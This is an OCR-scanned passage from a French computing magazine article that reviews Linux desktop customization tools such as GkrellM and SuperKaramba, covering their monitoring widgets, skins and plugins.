pas forcément le plus *
skinnable ”, comme nous
le verrons...) est de/pou-
voir jouer au Big Brother
de votre PC (mais nan,
pas votre Big Brother a

vous, celui qui regarde

tout a la télé ricaine).
Il vous indiquera absou-
lemnt TOUT ce qui se
passe sur votre PC, et
méme plus ! Ca va des
choses relativement futi-

les, du genre de la vitesse .

de rotation du ventilateur
de votre carte graphique,
a des informations beau-
coup plus intéressantes
pour le hacking au sens
large : trafics SSH, tableau
des ports, logs de trafics
divers et variés...

Rendez-vous sur :

puis téléchargez l'ar-
chive bzip2 a l'aide de la
bonne vieille tar =xzfv
dans le répertoire de
votre choix, puis suivez la
recette habituelle pour
installer un logiciel linux
(en cas d'ennui, un tour via
sera

utile). A partir de 13, vous

pourrez choisir les diffé-

rents plugins a activer ou
deésactiver selon vos
choix... et skinner votre

‘application nouvellement

installée grace a ce fabu-
leux site de themes

Libre.a vous, ensuite, de




gérer les options de
transparence, de dispo-
ser l'ordre des fenétres,
la taille de ces dernie-
res.. vous obtiendrez
ainsi un bureau qui ira du
simple afficheur d'heure
et de trafic internet en
plus joli au véritable
poste de pilotage de la
navette spatiale, chaleur
de la machine et acces
disques inclus...

Mais malgré tous ses
avantages, GkrellM souf-
fre de problemes impor-
tants aux yeux des veri-
tables skinners. En effet, il
est impossible de chan-
ger l'axe d'alignement
des fenétres... ce qui est
fort dommage.
Karamba(r),
une friandise
visuelle pour
votre bureau
ilncontestablement, c'est
le chef d'oceuvre des appli-
cations pour embellir un
bureau. Bien souvent, les
aficionados du tuning
graphique utilisent KDE,
et les développeurs I'ont
dailleurs bien compris,
comme en témoigne le *
Style Manager ” unique
en son genre apparu avec
la version 3.3. et raffiné
depuis. C'est dire l'im-
portance des modifica-
tions graphiques que I'on
peut apporter a cet envi-
ronnement.

Le nec plus ultra en la
matiere, c'est
SuperKaramba, un fork
(version d'un logiciel
développé par d'autres
personnes) de...
Karamba (ga ne s'invente
pas !) qui est si perfor-
mant que Mac Os X
Tiger I'a pompé jusqu'a la
moéle, sans bien sdr

Werewolf

apporter cette particula-
rit¢ du logiciel libre, a
savoir de nouveaux plu-

MEM:

gins et des configura-
tions infinies.
Concrétement, il s'agit

T y
G e MO ST I,

d'une sorte de GkrellM,
mais en mieux intégré et
un peu moins “ geek ”,
donc moins complet, mais
franchement plus beau et
skinnable. Il suffit d'admi-
rer les divers screens qui
parsement la page pour
s'en convaincre.

Il vous permettra d'afficher
ce qui se passe dans votre
machine, donc des stats,
des ratios, des quotiens,
des rapports, le nombre de
souris qui bouffent I'alim...
pour les plus no-life d'en-
tre vous, vous pouvez affi-
cher en temps réel et de
maniére coordonnée au
Web le temps qu'il fait,
grace au superbe plugin
Liquid Weather.

Enfin, de nombreuses
interfaces sont disponi-
bles pour commander
vos players favoris, xmms,

amarok, etc. jusqu'au
MSN ou consorts
incrusté dans le fond

d'écran en transparence,
voire un comics de
Garfield par jour, jusqu'au
luxe ultime ! Un kirby qui
se promeéne sur I'écran !

Vous l'aurez compris, du
tuning Jacky a la recher-
che esthétique, en
matiére de graphisme
d'interface utilisateur, il
n'y a qu'un pas tres vite
franchi. Mais bon, le ridi-
cule ne tue pas, et avec
un peu de finesse, vous
passerez d'une satisfac-
tion quotidienne a des
amis vous baillant un dédai-
gneux 5

et alooaars 77 ",
jusqu'a des yeux aux
pupilles dilatées croyant
admirer ['OS du 4e millé-
naire...

Klastek Timrak



